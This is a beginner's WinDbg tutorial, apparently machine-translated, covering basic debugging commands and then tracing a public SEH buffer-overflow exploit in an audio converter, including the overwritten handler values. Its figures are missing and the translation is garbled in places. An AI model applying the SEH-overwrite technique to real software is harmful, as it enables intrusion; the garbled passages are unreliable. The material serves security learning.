How to get started with Windbg

How to get started with Windbg

Windbg is a windows debugging tool. It is an essential tool for viewing some kernels, mining vulnerabilities, debugging system kernels, and debugging drivers. However, due to the large number of windbg commands and poor interface friendliness, it is difficult for new users to get started and discouraged. This article explains windbg from the basics. We hope to make progress together as new people!

Note: Part omitted in this article is: 1. How to load system symbols. 2. How to enable dual-machine debugging. This part of content is too large on the network. Readers can use Baidu on their own. But please note: These two parts are also very important.

0 × 1 program code

To master the windbg debugging process as a whole. This example is written by yourself. The advantage is that you can actively familiarize yourself with the windbg Debugging commands and view the windbg display results more intuitively.

 

0 × 2 windbg debugging entry

Open windbg, click File> Open Executable, and select the compiled exe File. Windbg automatically creates a breakpoint for the program. However, we do not know whether the breakpoint belongs to the region of our program. So let's take a look at where the breakpoint is broken. Run the windbg command! Address: the breakpoint address. As shown in:

 

The figure shows not only the "airspace area" where the breakpoint is located, but also other attributes of some files. As the breakpoint is no longer needed, we need to use the pseudo register mentioned above. In windbg, enter bp $ exentry. You can also enter bp @ $ exentry. @ Is used to stop windbg from searching for system symbols, thus speeding up execution. Bp, we can still see the windbg help document. We can know that bp is the next breakpoint for the address. To interrupt the program. What is $ exentry? You can click index in Help-> Content and enter "pseudo" to view the index. $ Exentry is our program entry point.

 

Then, run the bl command to view the breakpoint.

 

Enter the g command. g means to run the program. When you run the program, the program will stop at our program entry point, that is, oep.

But this is still not what we want. Now the role of the system symbol table is shown. Although the system symbol table loaded by this program is automatically generated during vs2015debug, this system symbol table serves the same purpose as the system symbol table downloaded from Microsoft.

In windbg, input bp main. Note: This symbol table is a local symbol table. Enter the g command; windbg will automatically break us into the main function.

 

 

After the G command is completed, we need to note that: Click the Source mode off Of The windbg toolbar. When Souce mode on is used, the debug single-step command will be executed directly according to the function step, rather than from the actual single-step Assembly command. In this case, you can try to switch between different switches. The specific execution is shown in:

 

0 × 3 key commands

1) view stack content

The important point here is that this program is used to understand the windbg process and instructions. Therefore, the problem of source code display will not be avoided. We can use F8 or F11 to step into the first call function of the program. Run the following command: kv. You can also click View> Call Stack to View details. At this point, we can see that the information in the stack is the same. From this, we can also see that kv is the command for displaying detailed stack information. K Command is one of the most useful commands in windows vulnerability mining.

 

We can also see that after the kv command, 001218a7 is the return address of the first call function. 00000001 and 00000002 are the parameters passed to f_add. In the CVE Vulnerability Number verification program, we often see that this is the case for the great God Gate to view stack information. What is ChildEBP information? As shown in the figure, ChildEBP is the pointer address of the base address of the sub-function stack. RetAddr is the return function address, and Args to Child is the displayed parameter.

 

 

2) view strings

After running the first call function, windbg displays a 'string' character. So what is this character? How can I view it? Here we use the db command to Display memory data in bytes. The Dd command does not have any strings. It is monotonous and you can try it on your own.

 

We run the f_add function of the four parameters to view stack information in kb. At this time, we find that Args to child can only display three parameters. What if there are multiple parameters? You can use kp or kP commands. Their results are the same. Do you want to wrap the knowledge. The result is shown in:

 

3) view the structure

If we do not know the structure of st_m and want to see what the structure of st_m is, we can use dt st_m; and we can see the following results. Three int types, each occupying 4 bytes.

 

With this knowledge, we can simply debug some windows. If you don't believe it, let's look at the example below.

0 × 4 Windows dual-host debugging (Practice)

Source of this vulnerability: www.exploit-db.com belongs to the SEH Buffer Overflow type.

Before execution:

 

After execution:

 

1) Find the specified process and append

Open the software wavtomp3. Run the. process 0 0 command to view the processes running in XP. Find the specified process and use the. process/I process address. Switch to the desired process. After switching, remember to run the command 'G.

 

2) find a suitable breakpoint

Suitable breakpoints are important in many Debugging Processes. breakpoints require experience accumulation and technical accumulation. There is no resumable upload. This article is due to the buffer overflow of SHE. In addition, an exception is triggered at the user layer, so we can directly break down: bp RtlpExecuteHandlerForException. It can also be stabilized. the breakpoint for the ReadFile function is bp ReadFile. However, be sure to use the symbol table of the function under. reload/f. Otherwise, the breakpoint may fail. As shown in figure below:

 

3) analyze the code

After running the program, it can be broken into some functions of RtlDisPatchException. Run the r command to view the registers and the memory bytes through the db. For example, to view the esp register value, you only need to: dd esp. As shown in:

The dex value in the figure is the length of the shellcode text. The Eip has already pointed to the exception section. Esp points to the top of the stack. Through the db esp-100 L200 view from the esp address from top down

0 × 200 bytes.

 

Perform this step (F10 ). The first call is encountered. The following is shown in the following figure:

 

The executehandler2 () function passes five parameters. Shellcode is executed in call ecx in executehandler2. We can use the command to view: the first parameter in the dd 0127fb24 address is the address of the function to be executed. It is also the Handler callback function address of the _ EXCEPTION_REGISTRATION_RECORD structure.

See: The figure passes! Exchain looked at the abnormal address. Pass! Slist $ teb _ EXCEPTION_REGISTRATION_RECORD: view the content of the current exception chain. It can also be proved that the Handler of the exception chain is a callback function.

 

Continue with the single-step (F8). We find that the Messagebox exception dialog box is displayed. The content is as follows:

 

Proceed to the single step, and then the contents from jmp to shellcode will be displayed. Or we can use a structure to observe. In windbg, enter! Teb; you can see the current value of the current teb structure. The internal structure of NT_TIB can be observed again in Dt _ nt_tib.

 

 

Through the comparison above, we can see that our shellcode: 0x909006eb and 0x004043a4 in the figure cover fs: [0], pointing to the next exception block and the callback function respectively. Therefore, the preceding call ecx is actually call 0x004043a4. It already points to what we want.

 

The following figure shows the code of the command we want to execute. The three parts of the Code are the same.

 

4) Conclusion

This article mainly describes the debugging operation commands of windbg. It will be helpful for debugging windows systems in the future. On the road of the security industry, I hope you will share your hopes.